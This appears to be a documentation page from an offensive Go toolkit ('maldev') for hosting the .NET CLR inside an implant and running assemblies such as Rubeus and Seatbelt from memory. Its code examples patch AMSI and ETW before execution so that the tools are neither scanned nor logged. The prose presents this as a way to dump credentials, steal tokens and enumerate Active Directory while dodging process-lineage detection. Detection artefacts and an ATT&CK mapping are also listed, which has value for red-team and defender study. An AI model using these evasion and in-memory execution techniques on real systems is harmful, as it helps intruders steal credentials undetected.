CLR (.NET) in-process hosting

← runtime index · docs/index

TL;DR

Host the .NET CLR in process via ICLRMetaHost / ICorRuntimeHost COM and execute .NET assemblies from memory — no .exe / .dll on disk. Equivalent to Cobalt Strike's execute-assembly. Pair with evasion/amsi.PatchAll upstream — AMSI v2 scans every assembly passed to AppDomain.Load_3 and will block flagged bytes (SharpHound, Rubeus, Seatbelt).

Primer

The Common Language Runtime is the .NET execution engine. Any process can host the CLR by importing mscoree.dll and calling CLRCreateInstance. The hosting process gets a managed runtime inside its address space and can load + invoke .NET assemblies without spawning dotnet.exe / powershell.exe.

Operationally:

  • Run SharpHound / Rubeus / Seatbelt / GhostPack tooling in-process from a Go implant — no separate .exe to drop, no process-tree anomaly.
  • Side-step dotnet.exe / powershell.exe lineage rules.
  • Bridge to the entire .NET ecosystem for credential dumping, token theft, AD enumeration.

The trade-offs are loud:

  • Loading clr.dll + mscoreei.dll in a non-.NET process is itself a high-fidelity heuristic.
  • AMSI v2 scans every Load_3 call; without an AMSI patch most published tooling is blocked.
  • ETW Microsoft-Windows-DotNETRuntime emits assembly-load events.

How It Works

sequenceDiagram
    participant Imp as "Implant"
    participant MH as "ICLRMetaHost"
    participant RT as "ICLRRuntimeInfo"
    participant Host as "ICorRuntimeHost"
    participant AD as "AppDomain (default)"
    participant Asm as "managed assembly"

    Imp->>Imp: mscoree.CLRCreateInstance
    Imp->>MH: GetRuntime("v4.0.30319")
    MH-->>RT: ICLRRuntimeInfo
    Imp->>RT: GetInterface(CLSID_CLRRuntimeHost, IID_ICorRuntimeHost)
    RT-->>Host: ICorRuntimeHost
    Imp->>Host: Start
    Imp->>Host: GetDefaultDomain
    Host-->>AD: IUnknown → IDispatch
    Imp->>AD: Load_3(SAFEARRAY[byte])
    AD-->>Asm: loaded assembly
    Imp->>Asm: EntryPoint.Invoke(args)
    Asm-->>Imp: managed code runs in-proc

Load(nil) picks the preferred installed runtime (v4 > legacy). For .NET 3.5 (legacy) targets call [InstallRuntimeActivationPolicy] first to register the required CLSID — disabled by default on modern Windows. The package returns [ErrLegacyRuntimeUnavailable] when the legacy runtime can't be activated.

API Reference

SymbolDescription
type RuntimeActive CLR host instance
Load(caller *wsyscall.Caller) (*Runtime, error)Bring up the CLR; pick preferred runtime
(*Runtime).ExecuteAssembly(asm []byte, args []string) errorLoad + invoke entry point
(*Runtime).Close() errorTear down the AppDomain + release COM
InstalledRuntimes() ([]string, error)Enumerate installed .NET versions
InstallRuntimeActivationPolicy() errorRegister .NET 3.5 CLSID for legacy hosting
RemoveRuntimeActivationPolicy() errorReverse the install
var ErrLegacyRuntimeUnavailable.NET 3.5 hosting unavailable
type Args / NewArgs()Typed argv builder

Examples

Simple — load + execute

import (
    "os"

    "github.com/oioio-space/maldev/runtime/clr"
)

rt, err := clr.Load(nil)
if err != nil {
    return
}
defer rt.Close()

asm, _ := os.ReadFile("Seatbelt.exe")
_ = rt.ExecuteAssembly(asm, []string{"-group=system"})

Composed — AMSI patch + ETW patch + execute

import (
    "os"

    "github.com/oioio-space/maldev/evasion/amsi"
    "github.com/oioio-space/maldev/evasion/etw"
    "github.com/oioio-space/maldev/runtime/clr"
)

if err := amsi.PatchAll(); err != nil {
    return
}
_ = etw.PatchAll()

rt, _ := clr.Load(nil)
defer rt.Close()

asm, _ := os.ReadFile("Rubeus.exe")
_ = rt.ExecuteAssembly(asm, []string{"triage"})

Advanced — list + pick runtime

versions, _ := clr.InstalledRuntimes()
for _, v := range versions {
    fmt.Println("installed:", v)
}

OPSEC & Detection

ArtefactWhere defenders look
clr.dll + mscoreei.dll module load in non-.NET hostHigh-fidelity heuristic — Defender for Endpoint, Elastic, S1
AmsiScanBuffer flagging the assemblyAMSI v2 scans every Load_3 — published tooling caught universally
Microsoft-Windows-DotNETRuntime ETW providerAssembly-load events; without ETW patch every load is logged
ICorRuntimeHost COM activation from non-Microsoft processEDR COM-activation telemetry
Process Hollowing-like behaviour: process metadata says non-.NET, runtime hosts CLRBehavioural EDR rule

D3FEND counters:

  • D3-PSA — module-load lineage.
  • D3-FCA — AMSI on assembly bytes.

Hardening for the operator:

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1620Reflective Code Loadingfull — CLR-hosted in-memory .NETD3-FCA, D3-PSA
T1059Command and Scripting Interpreterpartial — in-process .NET execution without dotnet.exeD3-PSA

Limitations

  • AMSI / ETW upstream patches required for hostile assemblies.
  • CLR lifecycle is global per-process. Once started, a CLR cannot be cleanly unloaded; subsequent Load calls re-use the same instance.
  • Output capture. Stdout / stderr from the assembly require redirection setup before ExecuteAssembly.
  • AppDomain isolation absent. All assemblies share the default AppDomain; one exception can take down the runtime.
  • .NET 3.5 disabled-by-default on modern Windows. Legacy runtime hosting needs the policy install.
  • [STAThread] requirement. Some assemblies require an STA apartment; running without re-creating that apartment may fail for COM-heavy tooling.

Credit

  • ropnop/go-clr — canonical Go port; vendored upstream.

See also